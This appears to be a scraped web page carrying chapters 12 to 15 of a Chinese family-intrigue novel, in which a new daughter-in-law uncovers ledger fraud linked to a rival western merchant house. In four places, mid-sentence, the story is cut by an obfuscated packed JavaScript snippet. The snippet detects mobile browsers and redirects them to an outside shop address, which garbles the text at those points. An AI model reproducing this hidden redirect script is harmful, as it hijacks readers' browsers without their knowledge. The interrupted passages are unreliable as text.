金针可度厄，亦可招灾。玖鸢知道，任何事情都可能是双刃剑，有些危机随时都可能找上门来，所以，她不能有任何疏忽。 12. 胜局 腊月将尽，年关气息越发浓烈，苏府亭台楼阁间年味日重。 各庭院檐下，渐渐开始悬挂起写着福字的琉璃灯，库房管事捧着厚厚册子往来于各院，请示年节下的赏赐份例，还有送往各府的年礼规格，仆妇们浆洗洒扫的动静也较往日更忙碌了几分。 柏草堂内，暖融如春。 老太太斜倚在贵妃榻上，身下铺了银狐皮，温暖贵气，额间戴着一圈朱绿发戴，中间缀着一颗褐色珠子，气色较发病前已好了十之七八。 这日老太太手中捧了一盏参茶，茶袅袅冒着热气，目光落在下首安静坐着，手持绣绷做针线的玖鸢身上。 那日金针度厄之后，玖鸢在苏府的地位，便如冬日里悄然滋长的地气，虽不见明显动静，内里却已生了根本变化。 晨昏定省时，老太太待玖鸢虽仍不似待其他嫡亲孙媳那般亲昵随意，但那声“起来吧”里，已少了审视，多了几分不易察觉的温和。 甚至老太太偶尔会留玖鸢多说几句话，问些北地风物，或是听听玖鸢对府中一些无关紧要事务的看法。 此刻，老太太抿了口参茶，缓缓开口，声音带着病后初愈些许沙哑，却自有威严： “瑾哥儿家的，眼看着要过年了，各房各院的用度，往来年礼，都是一团乱麻。你婆婆身子向来不算硬朗，这些年操持中馈，也是劳心劳力。我如今精神不济，有些事，便想着让你也帮着分担些，学着理一理。” 侍立一旁的宋嬷嬷闻言，眼中闪过一丝讶异，随即又化为了然，垂首不语。 玖鸢执针的手微微一顿，抬起眼帘，眸中当地流露出些许惶恐与谦逊：“祖母信重，孙媳感激不尽。只是孙媳年轻识浅，于家务庶务上更是懵懂，只怕力有不逮，辜负了祖母期望。” 老太太摆摆手，语气不容置疑：“谁也不是生来就会的。你是个沉静稳妥的孩子，心思也细，那日为我施针，手法力道皆是恰到好处，可见是个耐得住性子，懂得拿捏分寸的。这家务事，说到底，也不过是用心二字。明日开始，你便每日抽两个时辰，去你婆婆那里，跟着她学看账本，打理些简单年礼往来。若有不懂的，多问，多看。” “是，孙媳谨遵祖母教诲。” 玖鸢放下绣绷，起身恭敬应下。心中却如明镜一般，老太太此举，既是因她展露了能力而给予的认可与考验，又何尝不是对林氏掌管中馈的一种微妙制衡。 或许，还有另一层期许，因了她是沈家之女，即便就算是庶女，将来苏家在北地商业漕运这方面，或许还有用得着沈家的地方。 从柏草堂出来，天色有些阴沉，铅灰色云层仿佛触手可及，似随时酝酿着一场冬雪。玖鸢并未直接回砚澜轩，而是转道去了静心苑。 林氏显然已得了消息，正坐在暖阁里，对着一本摊开账册出神。见玖鸢进来，她脸上惯有的冷淡神色里，又添了几分其他意味。 林氏指指下首座位，语气平淡无波：“坐吧。既然老太太让你来学，你便好好学。府中庶务繁杂，头一件，便是要心中有杆秤，不偏不倚，方能服众。” 林氏命身旁管事嬷嬷取来几本往年旧账，以及今年预备送往各府的年礼单子，开始逐一讲解。 从各房月例份例的定夺，到田庄铺面收成核算，再到与各世家大族年节往来规矩、轻重权衡，林氏讲得条分缕析，面上看不出什么情绪，但言语间，却将其中错综复杂的人情利害、利益纠葛，点得清清楚楚。 “……譬如这送往吏部张侍郎府的礼，张侍郎是清流言官，不喜奢华，礼须厚重，却不可显金银俗气，当以古籍字画，或是上等湖笔徽墨为宜。而送往靖海侯府的，侯府势大，又尚武，礼则需彰显富贵气象，珊瑚、东珠、名马宝刀，皆可……” 林氏指尖划过礼单上名目，声音不高，却字字敲在玖鸢心上。 这哪里是简单的年礼，分明是一张张关系网，是苏家在这金陵城中立足的根基脉络。 玖鸢凝神静听，不时提出一两个看似懵懂，实则切中要害的问题，引得林氏偶尔会抬眸看她一眼，目光中的审视意味更浓，却也隐隐带上了一丝孺子可教的嘉许。 接下来几日，玖鸢便准时前往静心苑，埋首于堆积如山的账册与礼单之中。她本就心思缜密，记忆力超群，加之在沈家那些年，早已练就了在蛛丝马迹中洞察人心的本事，学起来竟是飞快。 不过短短数日，玖鸢已将苏府大致收支脉络，各房利益牵扯，以及与各府往来轻重点，摸清了个七七八八。 这日，玖鸢正核对一批准备入库的綾罗绸缎数目，忽听得外间传来一阵忽高忽低争执声。 仔细辨听，似是负责采办的一位姓钱管事，与库房一位老嬷嬷在争执，因一批新到的雪浪笺数目对不上，各执一词。 钱管事声音带着几分委屈。 “嬷嬷明鉴，这批笺纸是小人亲自从文华斋订的，数目清清楚楚，断不会错。定是入库时清点有误。” 那老嬷嬷却是不依不饶，声音尖利：“放屁！老婆子我管了十几年库房，从未出过这等纰漏！分明是你这起子黑心奴才，从中克扣了，想糊弄过去！” 林氏被惊动，蹙眉让人将他们唤进来。 两人在底下吵得面红耳赤，公说公有理，婆说婆有理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677383|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一时竟难以决断。 玖鸢在一旁静静听着，目光扫过堆放在一旁洁白如雪笺纸，又掠过钱管事额角的细汗，与老嬷嬷紧抿的嘴角，心中已然有数。 她放下手中账册，起身对林氏微微一福。 “母亲，可否容儿媳说一句？” 林氏看了她一眼，颔首。 玖鸢走到那堆笺纸前，随手拿起一沓，指尖在纸缘轻轻捻过，又对着光仔细看了看纸质纹理，这才转身，声音清越平和。 “钱管事，你言这批笺纸是文华斋所出。文华斋的雪浪笺，纸质绵韧，帘纹细密均匀，纸缘裁切光滑如镜。而眼前这些，”玖鸢将手中那沓纸示于众人，“纸质略显松脆，帘纹粗疏，且纸缘有细微毛刺。这并非文华斋正品，乃是仿造的次货，价格相差近半。” 众人闻言，俱是脸色骤变，如果玖鸢所言是实，那这雪浪笺岂不是钱管事为了得利，从中给哄骗了府上。 若果真是这样，这事就闹大了。 屋内落针可闻，下人们谁也不敢插话。 就是钱管事和那位库管嬷嬷，也脸色微变，都紧张地看向玖鸢。 玖鸢顿了顿，目光转向脸色骤变的老嬷嬷，语气依旧温和，却带着年岁不大少有的威慑： “嬷嬷入库清点，数目或许无误，但这货品成色，只怕是被人掉了包。依我看，此事关键不在数目，而在这笺纸的来源与经手之人了。” 玖鸢一席话，如石破天惊。老嬷嬷顿时哑口无言，脸色灰败。钱管事则是又惊又喜，连声道：“大奶奶明鉴！大奶奶明鉴啊！” 林氏深深地看着玖鸢，眸中光芒闪烁，半晌，才沉声道： “将这刁奴带下去，仔细拷问！钱管事，你既无过错，便下去吧，日后采办，更需谨慎。” 处置完毕，屋内重归寂静。林氏看着重新坐回位置继续安静核对账目的玖鸢，心中波澜起伏。 林氏原以为这北地来的儿媳，不过是仗着几分医术和容貌得了老太太垂爱，未曾想，这个儿媳于这庶务人情上，竟也有如此敏锐洞察力与决断力。 “你做得很好。”林氏终是开口，语气复杂，“这中馈之事，看似琐碎，却最是考验人心。一杆玉秤，量物，更量人。” 玖鸢抬眸，迎上林氏目光，唇角噙着一抹温婉浅笑。 “母亲教诲的是。儿媳定当谨记，凡事用心。” 婆媳两个说话时，窗外不知何时，飘起了细碎雪花，纷纷扬扬，将庭院染上一层薄白。 玖鸢知道，她在这苏府立足的第一步，随着接手苏府部分帐务，才算是真正稳稳地踏了下去。 13. 疏离 细雪下了一夜，翌日清晨，苏府便裹上了一层素净银装。 屋檐瓦当垂挂下晶莹冰凌，庭中花木的枯枝也被积雪勾勒出丰腴轮廓，日光一照，折射出碎钻般光芒，清冷炫目。 砚澜轩内，炭盆烧得正旺，驱散了严冬寒意。 玖鸢却无暇欣赏这雪后初霁美景，她正坐在临窗书案前，面前摊开着几本刚从静心苑取来的帐册，册子关乎苏家部分外务营生。 老太太既开了口让她学着打理，婆婆林氏虽心中五味杂陈，面上却也不能再敷衍，将一些不甚紧要却又牵连颇广的产业账目，拨给了玖鸢核对。 这其中，便有苏家在金陵城中几处绸缎庄、茶行近三个月的出入细账。 玖鸢执着一支紫毫小楷，蘸了朱墨，一行行仔细核对着。 她看得极慢，时而凝眉思索，时而提笔在旁边草纸上写下几个数字。铃兰安静地在一旁磨墨，不敢出声打扰。 空气里只有炭火偶尔噼啪声，和笔尖划过纸张沙沙轻响。 时间悄然流逝，日头渐渐升高，透过糊着白绢的窗棂，在书案上投下斑驳光影。玖鸢沐着这暖意，仔细核对帐目，看了几页，目光最终停留在其中一本记录锦华轩绸缎庄采买原料的账册上，久久未曾移动。 “铃兰，”玖鸢忽然开口，声音有些凝重，“去将我前几日让你收好的，去岁同期锦华轩的旧账寻来。” 铃兰连忙应声，从一旁的多宝阁暗格里，取出一本略显陈旧的蓝皮账册。 玖鸢将新旧两本账册并排摊开，纤细指尖在两行记录上缓缓划过。 一行是去岁腊月，锦华轩购入江南本地丝茧“千两，计价银八百两”；另一行是今岁腊月，同样是购入本地丝茧“千两，计价银却是一千一百两”。 丝价虽有波动，但短短一年间，涨幅竟如此之大。且看其他项下开支，人工、运输、损耗，皆与去岁相差无几，唯独这最主要的原料成本，突兀地增加了三成有余。 玖鸢沉吟片刻，又翻到记录与西境秦家生丝往来一页。 账目显示，近三月来，锦华轩因本地丝茧价高质次，转而向秦家购入数批上等湖州生丝，价格更是比江南本地丝价高出近五成，且每次交易数额巨大。 秦家。 玖鸢在墨迹淋漓的秦字上专注看了很久。 母亲手札中曾隐晦提及，西境秦家崛起迅猛，手段狠辣，与各地世家关系盘根错节。苏家与秦家素有生意往来，但这般大量高价采购，实在有悖常理。 苏瑾掌管外务，以他的精明，会容许这等明显不合算的买卖？ 除非，这其中另有隐情。 或是秦家掌握了某种苏家必需的稀缺资源，或是这账目本身，就有问题。 玖鸢想起那日梅宴上，林氏无意中提及锦华轩收益下跌，提及秦氏绸庄的竞争。如今看来，内忧外患，恐怕并非空穴来风。 “铃兰，”玖鸢放下账册，揉了揉有些发胀的额角，“你去悄悄打听一下，如今府中负责与秦家接洽丝绸生意的，是哪位管事？平日里风评如何？” 铃兰虽不解其意，但见玖鸢神色凝重，立刻点头应下，悄声退了出去。 屋内重归寂静。 玖鸢起身走到窗边，推开一条缝隙。冷冽空气瞬间涌入，让她精神一振。 庭院中积雪未融，几只麻雀在雪地里跳跃觅食，发出叽叽喳喳的鸣叫，更反衬出这深宅静谧。 玖鸢今日接触的这些帐目，之中看着确有微瑕，究竟是下人欺上瞒下，中饱私囊，还是有更高层级人物，在暗中运作。都有可能。 苏瑾他知道吗，若他知道，是默许，还是也被蒙在鼓里。 玖鸢心中有无数个疑问，暗地里也隐约有些许震惊，隐隐觉得，自己似乎触碰到了苏府庞大冰山一角。这冰山之下，是足以吞噬一切的漩涡。 下午，铃兰带回消息，声音压得极低： “小姐，打听到了。如今主要负责与秦家丝绸往来的是外院一位姓胡的管事，听说是三太太娘家那边的远亲，很得三老爷看重。风评嘛，有人说他精明能干，也有人说他手面阔绰，结交甚广。” 三房？闻言玖鸢眸光微闪。 三太太赵氏，难怪那日梅宴，她话中带刺。若这胡管事真与三房关系匪浅，那这账目上的蹊跷，恐怕就不仅仅是下人贪墨那么简单了。 玖鸢沉吟良久，终是提笔，在一张素笺上，将几处关键账目差异，以及自己的疑虑，用工整小楷一一列出，并未写下结论，只中肯陈述。然后，她将素笺仔细封好，交给铃兰。 “你想办法，将此信交到大少爷书房伺候笔墨的小厮手中，不必言明是我所递，只说是账房整理旧档时发现的些许不清之处，请大少爷闲暇时过目即可。” 玖鸢不能直接去找苏瑾，不免有点太过突兀，也容易打草惊蛇。以此种方式递送，既提醒了大少爷，又保留了转圜余地，更可试探他对此事的态度。 铃兰紧张地接过信，揣入怀中，重重点了点头。 信送出去后，一连两日，风平浪静。 苏瑾那边毫无动静，仿佛石沉大海。玖鸢心中虽有些许忐忑，面上却依旧沉静如水，每日照常去静心苑学看账目，处理些琐事。 直到这日傍晚，她刚从静心苑出来，踏着尚未融尽的残雪往回走，却在通往砚澜轩的月洞门前，见到了一个意想不到的身影。 苏瑾穿着一件墨狐毛领玄色大氅，负手立于一株老梅树下，身姿挺拔，几乎与苍茫暮色融为一体。听到脚步声，他缓缓转过身来，目光落在玖鸢身上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677384|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “沈氏。”他开口，声音在寒冷空气中显得格外清冽。 玖鸢心中微紧，敛衽行礼： “夫君。” 玖鸢注意到，苏瑾手中似乎捏着一角折叠纸张，颜色与她前日所用的素笺极为相似。 苏瑾没有立刻说话，只是走近两步，距离近得玖鸢能嗅到他身上那股熟悉清冷的剑兰气息，其间似乎还夹杂着一丝淡淡陈墨，与账册陈墨味道极为相似。 玖鸢紧张到不行，面上却努力维持镇定。 “那笺上的疑虑，我看过了。”他开门见山，目光如古井深潭，看不出情绪，“你看得很细。” 玖鸢垂眸，语气谦逊：“妾身初学，只是觉得有些数目不合常理，不敢妄断，故而请教夫君。” 苏瑾沉默片刻，忽然道：“锦华轩的胡管事，三日前已因账目不清，亏空公款，被革职查办，送入官府了。” 闻言玖鸢猛地抬眸，眼中难掩惊愕。 这么快？而且是以如此迅雷不及掩耳方式。她原以为，至少会有一番暗中查证，拉扯博弈。 苏瑾看到玖鸢眼中一闪而过的讶异，唇角似乎几不可察地牵动了一下，快得让人以为是错觉。 “府中之事，有时需快刀斩乱麻。” 苏瑾语气平淡，仿佛在说一件再寻常不过的小事，“至于秦家的生丝价格，确是高于市价，但其中另有缘由，并非账目有误。” 苏瑾并未解释缘由是什么，但话语中的笃定与不以为然，却让玖鸢明白，他并非不知情，甚至可能，这一切都在他意料或掌控之中。 也许胡管事，或许不过是枚被弃掉的棋子。 “妾身明白了。” 玖鸢压下心头起伏波澜，重新垂下眼帘。她知道自己触及了某些隐秘，而苏瑾此刻出现，既是告知，也是一种无声警告，苏府的水很深，有些界限，不容逾越。 苏瑾深深看了玖鸢一眼，目光似乎要穿透她恭顺的表象，直抵内心。 “你很好。”他忽然说了这么一句，语气依旧平淡，却让玖鸢心跳漏了一拍。“年关事忙，母亲那里，你多费心。” 说完，苏瑾不再多言，转身踏着积雪，消失在渐浓暮色里。 玖鸢独自站在月洞门下，看着雪地上那两行渐行渐远脚印，心底忽然生起一股凉意。 胡管事被迅速处置，秦家生丝价格另有缘由，苏瑾轻描淡写几句话，背后隐藏的，是何等的风雷涌动。 玖鸢原本以为凭借细心发现的账目问题，可以稍微掌握一点主动，如今看来，她所窥见的，不过是冰山浮于水面的一角。真正的暗流，依旧在她无法触及之深处，汹涌澎湃。 寒风卷着雪沫，吹起玖鸢裙角。玖鸢拢了拢衣襟，将满腹疑云与寒意，一同压回心底，静悄悄回了砚澜轩。 14. 风起 胡管事被革职查办，在苏府上下激起了不小波澜。 只是这波澜被年关将近的喜庆忙碌，刻意冲淡着，明面上无人敢公然议论，但暗地里，窃窃私语无处不在，人人莫明不安。 各房似乎也因之多了些提防，尽管表面上还是一团和气。 三房所在的栖云阁更是连日来门户紧闭，气氛低迷，连带着下人们走路都放轻了脚步。 玖鸢对此心知肚明，却只作不知。 她依旧每日往返于砚澜轩与静心苑之间，埋首于愈发繁冗的账册，与年节庶务之中。 苏瑾那日来砚澜轩，应是结婚之后第三次与玖鸢见面，寥寥数语，像一道无形界限，划定了她目前所能触及的范围。 玖鸢便纵有太多克职尽守，但夫君苏瑾心思不明，态度极为冷淡，似不太喜欢玖鸢太多插手生意上事。 于是玖鸢略微收敛锋芒，将某些疑虑暂埋心底，只在核对账目时，越发谨慎细致，不放过任何一丝可能关联的蛛丝马迹。 然而，树欲静而风不止。 这夜，夜风凛冽，卷着鹅毛般雪片，扑打在窗棂上，发出簌簌声响。砚澜轩内烛火通明，玖鸢正在核对送往各府的年礼单子，炭盆里炭火烧得正旺，偶尔爆出一两点火星，灯地里玖鸢心无旁鹜，一脸专注。 忽而，院门外传来一阵急促而略显慌乱的叩门声，在这寂静雪夜里显得格外刺耳。 守夜婆子嘀咕着去应门，片刻后，脚步声伴着低语声渐近。 铃兰掀帘进来，脸色有些发白，低声道： “小姐，是原先在胡管事手下做事的一个小账房，叫何均，说有急事求见您，浑身都叫雪打湿了，瞧着很是惊慌。” 玖鸢执笔的手微微一顿。 胡管事手下的人？ 在这等时候，冒着大雪深夜来访，定是有不寻常之事，玖鸢心中骤然不安，面上却不露分毫，只淡淡道：“请他到偏厅等候，我即刻便来。” 披上一件莲青色斗篷，玖鸢步入偏厅。 只见一个穿着半旧灰布棉袍，身形瘦弱的年轻男子，正局促不安站在地当中，头发肩头皆是湿漉漉的雪水，脸色冻得青白，嘴唇不住地哆嗦，眼神里充满了恐惧与绝望。 见到玖鸢，这人扑通一声就跪了下去，连连磕头。 “大奶奶！大奶奶救命！求大奶奶救小人一命！” 声音凄惶，带着哭腔。 玖鸢在主位坐下，语气平和，却自带一股安抚力量：“何账房，不必如此，起来说话。有何难处，慢慢道来。” 何均却不肯起，抬起涕泪交加的脸，颤声道： “大奶奶明鉴，胡管事的事，小人是知道一些内情，但绝不敢参与其中啊。那账目上的亏空，多半是胡管事与他上面的人做的，可如今胡管事被拿了，他们，他们怕是要寻个替罪羊，小人……小人只怕性命难保啊！” 何均说得语无伦次，但意思却很清楚。他知道胡管事背后还有人，如今上面要灭口。 “上面的人？”玖鸢眸光一凝，“你可知是谁？” 何均浑身一颤，眼神惊恐地四下张望，仿佛黑暗中潜伏着噬人猛兽，压低了声音，几乎是从牙缝里挤出来： “小人，小人不敢妄言，只偶然听胡管事醉酒后提过，是府里极有体面的主子，涉及，涉及与西边秦家的生意往来，里头水太深了……” 何均说及此处，骤然停住口，原先发白的脸此刻因了惊恐，越发苍白，也不知是因为寒冷还是因为害怕，浑身抖个不止。 虽然何均话只说了一半，但言下之意有提到府里主子，这令的玖鸢心中咯噔一下子，也骤起寒意。 不仅有苏府主子参与，还有西境秦家。 如果何均所说是真，那这事情就堪堪有点严重了。 玖鸢心缓缓沉了下去。这与她之前猜测不谋而合，三房的嫌疑，似乎越来越大。 “何管事，你莫慌张，有事尽管说来，先别把自己拖尽沟里。” 玖鸢拿捏了一下口气，才徐徐出声。 “大奶奶明鉴，小的是想说出来，可是，可是小的位卑人轻，恐说多了怕是连命也保不住。” 听了这话，玖鸢竟有些明了何均现时处境，她想起前天自己和夫君苏瑾曾提过绸缎庄帐目龊龌之事，看苏瑾那意思，仿佛是嫌她管的太多了。 所以，牵连到胡管事一案，何均既有实情禀报，是不是该先通报一下苏家大少爷苏瑾呢。 “何管事，你既知内情，为何不去求大少爷？或是禀明太太？”玖鸢不动声色地问。 何均哭丧着脸，双掌搓一下脸颊，叹了口气。 “大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677385|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少爷雷霆手段，小人怕说不清楚，反被当成同党。太太平日不管外务，且小人身份低微，如何见得着？思来想去，那日听闻大奶奶查账精细，处事公允，连老太太都赞许，小人只能冒死前来，求大奶奶给指条生路。” 何均说着，又从怀中哆哆嗦嗦摸出一本边缘破损册子，双手呈上。 “这……这是小人私下里记下的一些，一些不清不楚往来数目和经手人名字，或许对大奶奶有用，只求大奶奶能庇护小人一二。” 玖鸢看着这本浸染了雪水显得皱巴巴册子，又看看跪在地上瑟瑟发抖的何均，心中念头飞转。 收下这册子，便意味着自己正式卷入苏府漩涡中心，再无退路。 但若不收，这何均恐怕难逃毒手，而这条可能指向真相的线索，也将就此中断。 风险与机遇，往往并存。 玖鸢沉默片刻，终是伸手接过了这本册子，册子入手冰凉潮湿，却仿佛有千钧之重。 “此事我已知晓。”玖鸢声音依旧平稳，“你且先回去，今夜之事，勿要对任何人提起。我会设法，但能否保你，尚需时机。” 何均如蒙大赦，又是连连磕头。 “多谢大奶奶，多谢大奶奶。小人一定守口如瓶，守口如瓶。” 何均一边口口声声发誓，一边脸色渐渐缓和过来，惊恐之色淡去，踉踉跄跄地起身，又躬身给玖鸢行了几个大礼，由铃兰引着，悄无声息从后门送了出去。 偏厅内重归寂静，只剩下炭火哔剥声。 玖鸢独自坐着，手上握着何均刚刚给的册子，并未立刻翻开。窗外风雪更急，风夹着雪撞击窗纸，仿佛是无数不甘在呐喊。 玖鸢知道，从接过这本册子那一刻起，她与这苏府暗处的较量，便正式开始了。这不再是隔岸观火，而是身陷局中。 只是，她尚有疑虑，姓何的在这个时候，突然来找自己，且送来这么一本账册，究竟是真心让她查明真相，还是另有所图？ 那极有体面的主子，究竟是谁？ 不会是……大少爷苏瑾？ 这个突然冒出来的念头，令的玖鸢狠狠惊了一下子，她将册子紧紧攥在手心，目光投向窗外无边黑暗与风雪，竟有一丝丝惶惑。 在这个庞大家族里，她始终是她，终究是一个人，面对着无数人。 15. 家宴 雪后初霁，日光透过云层，洒在覆雪琉璃瓦上，耀目生辉。 苏府内张灯结彩，准备年节愈发忙碌，年节气息扑面而来。 然而，砚澜轩内却仿佛隔出了一方独立凝重的天地。 玖鸢屏退了所有下人，独坐于内室窗下。炭盆里的火静静燃着，驱不散她眉宇间凝结的寒意。 自何均手中接过浸过雪水的册子，此刻正摊开在她膝头。 册子纸张粗糙，墨迹因水渍而多有晕染模糊，但上面略显稚嫩却工整的笔触，记录下一笔笔数目，一个个代号与缩写，像一把冰冷钥匙，试图撬开隐藏在苏府繁华表象下的黑暗之门。 玖鸢看得极慢，极仔细。指尖在那些模糊字迹上缓缓移动，试图辨认，串联起其中的关联。 册子记录时间跨度约莫一年，涉及的并非锦华轩一处账目，更有几处玖鸢尚未接触过的，苏家位于码头附近的货栈与仓廪出入记录。 其中频繁出现一个代号西山，与之对应的，是大宗丝绸、茶叶，乃至一些未曾列明具体名目的杂货运出记录，接收方则隐约指向西境。 这些大宗交易，结算的银钱数目，远低于市价，甚至有些条目旁，用极细笔标注了抵、欠等字样。 更令玖鸢心惊的是，有几条记录旁，竟提到了兵备司废弃军械，以旧换新等含糊字眼，虽语焉不详，但军械二字，已足够触目惊心。 本朝对军械管制极严，私相授受乃是重罪。 而经手人一栏，除了已被处置的胡管事，还多次出现一个缩写ZM，以及一个负责核对盖印的签押人赵奎。 玖鸢记得，大太太林氏让她看过府中部分管事名册中，负责码头货栈事务的副管事，正是姓赵名奎，而此人似乎是三太太赵氏的陪房出身。 ZM，赵氏，赵某，还是其他？ 玖鸢越想越惊骇，心一点点沉入谷底。 若这册子所记为真，那便不仅仅是贪墨公款，以次充好那么简单了。这背后牵扯的，可能是与西境秦家更为隐秘，甚至可能触及律法的交易，而三房在其中扮演的角色，恐怕绝非清白。 玖鸢合上册子，闭了闭眼。 脑海中浮现出三太太赵氏那张保养得宜，却时常带着倨傲与精明的脸，以及那日梅宴上含沙射影的话语。若真是三房所为，他们图什么？巨大的利益，还是另有更大图谋。 这册子是一把双刃剑，用得好，或可成为玖鸢在这府中立足甚至反击的利器。用得不好，则可能引火烧身，万劫不复。 何均将此物交给玖鸢，是求助，亦是将玖鸢推到了风口浪尖。 她不能贸然行动。需得印证，需得等待时机。 将册子小心藏于妆奁夹层之后，玖鸢唤来铃兰，神色如常地吩咐： “去打听一下，码头货栈的赵奎赵副管事，近来可有什么动向。还有，三老爷近日是否常在外书房留宿。” 铃兰虽不解，但见玖鸢神色凝重，不敢多问，领命而去。 接下来两日，玖鸢依旧如常打理庶务，协助林氏准备年节事宜，甚至在老太太问起时，还能温言软语地说些吉祥话，仿佛那本足以掀起惊涛骇浪的册子从未存在过。 然而，暗地里的试探与观察，却未曾停止。 铃兰带回消息称，赵奎管事近来确实颇为活跃，常往三老爷外书房跑，且与西边来的客商接触频繁。 而三老爷苏慎元，也就是苏瑾的三叔，近日也确实多宿于外书房，似乎忙于年底对账与各处生意往来。 玖鸢嫁入苏家才不到不到两月，对苏家上下主子们，了解并不彻底，尤其是三老爷苏慎元，玖鸢更是所知甚少，只是偶尔听闻下人传言，三老爷似有外室，不在苏府的日子，就在外室那里宿着。 腊月二十八，苏府举行家宴，既是辞旧，也是犒劳一年辛苦的族人管事。 宴设于招待贵客的嘉禧堂，灯火辉煌，觥筹交错。各房主子，有头脸的管事皆在列，气氛热闹非凡。 玖鸢随着大太太林氏入席，位置被安排在苏瑾下首。 这是自新婚那日后，玖鸢首次与苏瑾在正式场合并席。他依旧是一身墨色常服，只在领口袖边绣着暗银云纹，衬得面容愈发清俊冷冽。 苏瑾并未多看玖鸢，只与身旁的二叔，三叔等人低声交谈着，神色平静，仿佛那日雪夜与玖鸢的短暂交锋从未发生。 酒过三巡，气氛愈加热络。 三老爷苏慎元显然多饮了几杯，面泛红光，正与二老爷苏恪元高声谈论着来年开拓西南商路的计划，言辞间颇有几分意气风发。 “……西南那边，虽说山路难行，但盛产药材、木材，若是打通关节，利润不可限量！届时，还需二哥多多支持才是！”苏慎元举杯向苏恪元示意。 苏恪元性子较为沉稳，只笑着应和：“三弟雄心可嘉，只是开拓新路，还需谨慎，尤其需打点好沿途关系，莫要惹来不必要的麻烦。” “二哥放心！”苏慎元大手一挥，“我自有分寸。如今我们苏家与西境秦家合作日益紧密，有秦家在西边的人脉，西南之路，不过是借势而为罢了！”他这话声音不小，引得邻近几桌都侧目看来。 坐于上首的老太太闻言，拨动佛珠的手微微一顿，抬眼看了苏慎元一眼，目光深沉，未置一词。林氏则是眉头微蹙。 玖鸢垂眸，执起面前的青玉酒杯，借以掩饰内心思绪。 三老爷如此公然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677386|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提及与秦家的紧密合作，是酒后失言，还是有意试探。她下意识用眼角余光瞥向身旁的苏瑾。 苏瑾依旧神色淡然，执筷夹起一片水晶肴肉，动作优雅从容，仿佛并未听见三叔那略显张扬的话语。只是在将肉片送入口中之前，他眼睫微抬，目光似是不经意地扫过玖鸢的方向，与她来不及完全收回的视线，有了一刹那极其短暂的接触。 苏瑾目光依旧深邃难辨，但玖鸢却敏锐地捕捉到，其中一闪而过极冷的锐光。 苏家少主听到了，而且，他并非无动于衷。 就在这时，一个负责斟酒的小婢女，许是被这热闹场面弄得紧张，脚下不慎绊了一下，手中捧着的酒壶猛地一倾，竟直直朝着玖鸢的方向泼来！ 事发突然，玖鸢避无可避，眼看那琥珀色的酒液就要泼洒在玖鸢簇新衣裙上，旁边却倏地伸过一只手，稳稳地托住了即将倾倒的酒壶壶底，手腕一翻，便将险情化解于无形。 酒壶被轻轻放回桌上，只有几滴酒液溅出，落在深色地毯上，瞬间洇开。 出手的，竟是苏瑾。 他动作快得只留下一道残影，若非那酒壶此刻正完好地置于桌上，几乎让人以为是错觉。 “毛手毛脚，成何体统。”苏瑾淡淡开口，语气并无太多责备，却让那小婢女吓得面无人色，连连告罪。 满桌目光瞬间聚焦过来。 “瑾哥儿反应真是迅捷。”二太太王氏笑着打圆场。 三太太赵氏也扯了扯嘴角，眼神在苏瑾与玖鸢之间转了转，语气微妙：“是啊，大哥儿真是体贴。” 玖鸢压下心中惊涛骇浪，起身对着苏瑾微微一福：“多谢夫君。”她抬起头看向苏瑾，目光清澈干净。 苏瑾看了玖鸢一眼，只微微颔首，便收回手，仿佛刚才那迅疾而精准的援手，不过是顺手为之。他转而看向闯祸的婢女，语气平淡：“下去吧，此处不必你伺候了。” 一场小小风波就此平息，宴席继续。 然而，玖鸢的心却再也无法平静。 苏瑾方才出手，是出于基本礼仪，还是某种下意识维护，他方才那一眼，又究竟包含了怎样的意味。 玖鸢重新坐下。 欢宴依旧在继续，各房子弟，还有长辈们都在一边喝酒用餐，一边唠嗑，气氛热闹，三老爷苏慎元谈笑风生，和二老爷苏恪元畅饮之后，又跑到老太太那一桌闹去了。 苏府几个老爷子，难得如此尽兴，也是，苏府歌舞升平，又正值盛世之时，表面看，各房一团和气富足丰盈，并没有什么权谋和心计存在。 